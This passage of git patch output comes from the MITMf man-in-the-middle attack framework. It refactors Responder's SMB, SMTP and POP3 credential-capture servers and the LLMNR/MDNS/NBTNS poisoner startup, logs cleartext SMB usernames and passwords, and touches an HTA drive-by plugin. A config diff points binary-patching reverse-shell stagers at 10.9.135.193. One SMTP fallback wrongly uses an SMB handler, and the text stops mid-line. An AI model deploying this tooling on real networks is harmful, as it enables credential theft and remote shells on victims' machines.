ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) # POP3 Server class -class POP3(BaseRequestHandler): +class POP3Server(BaseRequestHandler): def SendPacketAndRead(self): Packet = POPOKPacket() diff --git a/core/servers/SMB.py b/core/servers/SMB.py index 2b5394c..f9c3da5 100644 --- a/core/servers/SMB.py +++ b/core/servers/SMB.py @@ -74,31 +74,36 @@ def Is_LMNT_Anonymous(data): #Function used to know which dialect number to return for NT LM 0.12 def Parse_Nego_Dialect(data): - Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]]) - #print hex(Dialect) + packet = data + try: + Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]]) + #print hex(Dialect) - if Dialect[0] == "NT LM 0.12": - return "\x00\x00" - if Dialect[1] == "NT LM 0.12": - return "\x01\x00" - if Dialect[2] == "NT LM 0.12": - return "\x02\x00" - if Dialect[3] == "NT LM 0.12": - return "\x03\x00" - if Dialect[4] == "NT LM 0.12": - return "\x04\x00" - if Dialect[5] == "NT LM 0.12": - return "\x05\x00" - if Dialect[6] == "NT LM 0.12": - return "\x06\x00" - if Dialect[7] == "NT LM 0.12": - return "\x07\x00" - if Dialect[8] == "NT LM 0.12": - return "\x08\x00" - if Dialect[9] == "NT LM 0.12": - return "\x09\x00" - if Dialect[10] == "NT LM 0.12": - return "\x0a\x00" + if Dialect[0] == "NT LM 0.12": + return "\x00\x00" + if Dialect[1] == "NT LM 0.12": + return "\x01\x00" + if Dialect[2] == "NT LM 0.12": + return "\x02\x00" + if Dialect[3] == "NT LM 0.12": + return "\x03\x00" + if Dialect[4] == "NT LM 0.12": + return "\x04\x00" + if Dialect[5] == "NT LM 0.12": + return "\x05\x00" + if Dialect[6] == "NT LM 0.12": + return "\x06\x00" + if Dialect[7] == "NT LM 0.12": + return "\x07\x00" + if Dialect[8] == "NT LM 0.12": + return "\x08\x00" + if Dialect[9] == "NT LM 0.12": + return "\x09\x00" + if Dialect[10] == "NT LM 0.12": + return "\x0a\x00" + except Exception: + print 'Exception on Parse_Nego_Dialect! Packet hexdump:' + print hexdump(packet) #Set MID SMB Header field. def midcalc(data): @@ -124,7 +129,7 @@ def ParseShare(data): packet = data[:] a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet) if a: - print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', '')) + settings.Config.ResponderLogger.info("[SMB] Requested Share : %s" % a.group(0).replace('\x00', '')) #Parse SMB NTLMSSP v1/v2 def ParseSMBHash(data,client): @@ -237,7 +242,7 @@ def IsNT4ClearTxt(data, client): Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") - print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password)) + settings.Config.ResponderLogger.info("[SMB] Clear Text Credentials: %s:%s" % (User,Password)) WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password) # SMB Server class, NTLMSSP diff --git a/core/servers/SMTP.py b/core/servers/SMTP.py index aeb3111..e6bfa3f 100644 --- a/core/servers/SMTP.py +++ b/core/servers/SMTP.py @@ -15,12 +15,44 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os -import settings +import core.responder.settings as settings +import threading -from utils import * +from core.responder.utils import * from base64 import b64decode, b64encode -from SocketServer import BaseRequestHandler -from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer +from core.responder.packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 + +class SMTP: + + def start(self): + try: + if OsInterfaceIsSupported(): + server1 = ThreadingTCPServer((settings.Config.Bind_To, 25), ESMTP) + server2 = ThreadingTCPServer((settings.Config.Bind_To, 587), ESMTP) + else: + server1 = ThreadingTCPServer(('', 25), SMB1) + server2 = ThreadingTCPServer(('', 587), SMB1) + + for server in [server1, server2]: + t = threading.Thread(name='SMTP', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting SMTP server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) # ESMTP Server class class ESMTP(BaseRequestHandler): diff --git a/plugins/htadriveby.py b/plugins/htadriveby.py index 3fef9f9..bec4f5f 100644 --- a/plugins/htadriveby.py +++ b/plugins/htadriveby.py @@ -17,7 +17,6 @@ # import re -import flask from plugins.plugin import Plugin from plugins.inject import Inject @@ -34,7 +33,7 @@ class HTADriveBy(Inject, Plugin): Inject.initialize(self, options) self.html_payload = self.get_payload() - from core.servers.http.HTTPserver import HTTPserver + from core.servers.HTTP import HTTP def hta_request(path): if path == options.hta_app.split('/')[-1]: with open(options.hta_app) as hta_file: diff --git a/plugins/responder.py b/plugins/responder.py index 73a01db..98f50f2 100644 --- a/plugins/responder.py +++ b/plugins/responder.py @@ -17,7 +17,6 @@ # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # USA # -import flask from plugins.plugin import Plugin from twisted.internet import reactor @@ -36,12 +35,40 @@ class Responder(Plugin): self.ip = options.ip # Load (M)DNS, NBNS and LLMNR Poisoners - from core.poisoners.LLMNR import LLMNR - from core.poisoners.MDNS import MDNS - from core.poisoners.NBTNS import NBTNS - LLMNR().start() - MDNS().start() - NBTNS().start() + import core.poisoners.LLMNR as LLMNR + import core.poisoners.MDNS as MDNS + import core.poisoners.NBTNS as NBTNS + LLMNR.start() + MDNS.start() + NBTNS.start() + + if self.config["Responder"]["SQL"].lower() == "on": + from core.servers.MSSQL import MSSQL + MSSQL().start() + + if self.config["Responder"]["Kerberos"].lower() == "on": + from core.servers.Kerberos import Kerberos + Kerberos().start() + + if self.config["Responder"]["FTP"].lower() == "on": + from core.servers.FTP import FTP + FTP().start() + + if self.config["Responder"]["POP"].lower() == "on": + from core.servers.POP3 import POP3 + POP3().start() + + if self.config["Responder"]["SMTP"].lower() == "on": + from core.servers.SMTP import SMTP + SMTP().start() + + if self.config["Responder"]["IMAP"].lower() == "on": + from core.servers.IMAP import IMAP + IMAP().start() + + if self.config["Responder"]["LDAP"].lower() == "on": + from core.servers.LDAP import LDAP + LDAP().start() def reactor(self, strippingFactory): reactor.listenTCP(3141, strippingFactory) From 159d3adf7a8e16533478a86ed125cce3d2d17555 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 3 Aug 2015 05:37:23 +0200 Subject: [PATCH 097/181] fixes 146 --- plugins/upsidedownternet.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/upsidedownternet.py b/plugins/upsidedownternet.py index a3a53b6..71579b9 100644 --- a/plugins/upsidedownternet.py +++ b/plugins/upsidedownternet.py @@ -54,8 +54,8 @@ class Upsidedownternet(Plugin): im.save(output, format=self.imageType) data = output.getvalue() output.close() - self.clientlog.info("Flipped image".format(response.getClientIP())) + self.clientlog.info("Flipped image", extra=request.clientInfo) except Exception as e: - self.clientlog.info("Error: {}".format(response.getClientIP(), e)) + self.clientlog.info("Error: {}".format(e), extra=request.clientInfo) return {'response': response, 'request': request, 'data': data} From 052c86b24218385d1439d7fa424e336ba20ad404 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 3 Aug 2015 05:37:23 +0200 Subject: [PATCH 098/181] fixes #146 --- plugins/upsidedownternet.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/upsidedownternet.py b/plugins/upsidedownternet.py index a3a53b6..71579b9 100644 --- a/plugins/upsidedownternet.py +++ b/plugins/upsidedownternet.py @@ -54,8 +54,8 @@ class Upsidedownternet(Plugin): im.save(output, format=self.imageType) data = output.getvalue() output.close() - self.clientlog.info("Flipped image".format(response.getClientIP())) + self.clientlog.info("Flipped image", extra=request.clientInfo) except Exception as e: - self.clientlog.info("Error: {}".format(response.getClientIP(), e)) + self.clientlog.info("Error: {}".format(e), extra=request.clientInfo) return {'response': response, 'request': request, 'data': data} From c527dc1d21704d125ddf1d38879457540c586fae Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 3 Aug 2015 05:46:00 +0200 Subject: [PATCH 099/181] debug logs now show command string used on startup --- mitmf.py | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/mitmf.py b/mitmf.py index a6b3482..f0a7dc8 100755 --- a/mitmf.py +++ b/mitmf.py @@ -78,6 +78,12 @@ options.mac = get_mac(options.interface) settings.Config.populate(options) +from core.logger import logger +formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("MITMf", formatter) + +log.debug("MITMf started:{}".format(sys.argv)) + from core.sslstrip.CookieCleaner import CookieCleaner from core.proxyplugins import ProxyPlugins from core.sslstrip.StrippingProxy import StrippingProxy @@ -130,9 +136,9 @@ if options.filter: print "| |_ Applying filter {} to incoming packets".format(options.filter) #Start mitmf-api -#from core.mitmfapi import mitmfapi -#print "|_ MITMf-API online" -#mitmfapi().start() +from core.mitmfapi import mitmfapi +print "|_ MITMf-API online" +mitmfapi().start() #Start Net-Creds from core.netcreds import NetCreds From 772ef9ab3959a85001533ff7af4ef3dbdb50565b Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 5 Aug 2015 13:31:04 +0200 Subject: [PATCH 100/181] responder code is now up to date with the lastest version logging is going to have to get cleaned up, but that's a minor issue re-implemented the function to add endpoints to the http server added an option to manually specify the gateways mac in the Spoofer plugin --- config/mitmf.conf | 8 +- core/html/htadriveby.html | 2 +- core/poisoners/ARP.py | 6 +- core/poisoners/LLMNR.py | 5 +- core/poisoners/MDNS.py | 4 +- core/poisoners/NBTNS.py | 8 +- core/servers/HTTP.py | 53 +++- core/servers/SMB.py | 599 +++++++++++++++++++------------------- mitmf.py | 2 +- plugins/htadriveby.py | 12 +- plugins/responder.py | 7 + plugins/spoof.py | 1 + 12 files changed, 375 insertions(+), 332 deletions(-) diff --git a/config/mitmf.conf b/config/mitmf.conf index d6d58fe..955d4b0 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -446,8 +446,8 @@ [[[[WindowsIntelx86]]]] PATCH_TYPE = SINGLE #JUMP/SINGLE/APPEND # PATCH_METHOD overwrites PATCH_TYPE with jump - PATCH_METHOD = automatic - HOST = 192.168.1.88 + PATCH_METHOD = + HOST = 10.9.135.193 PORT = 8444 SHELL = iat_reverse_tcp_stager_threaded SUPPLIED_SHELLCODE = None @@ -458,8 +458,8 @@ [[[[WindowsIntelx64]]]] PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND # PATCH_METHOD overwrites PATCH_TYPE with jump - PATCH_METHOD = automatic - HOST = 192.168.1.16 + PATCH_METHOD = + HOST = 10.9.135.193 PORT = 8088 SHELL = iat_reverse_tcp_stager_threaded SUPPLIED_SHELLCODE = None diff --git a/core/html/htadriveby.html b/core/html/htadriveby.html index f35ff4e..83dc1dc 100644 --- a/core/html/htadriveby.html +++ b/core/html/htadriveby.html @@ -54,7 +54,7 @@ newHTML.innerHTML = ' \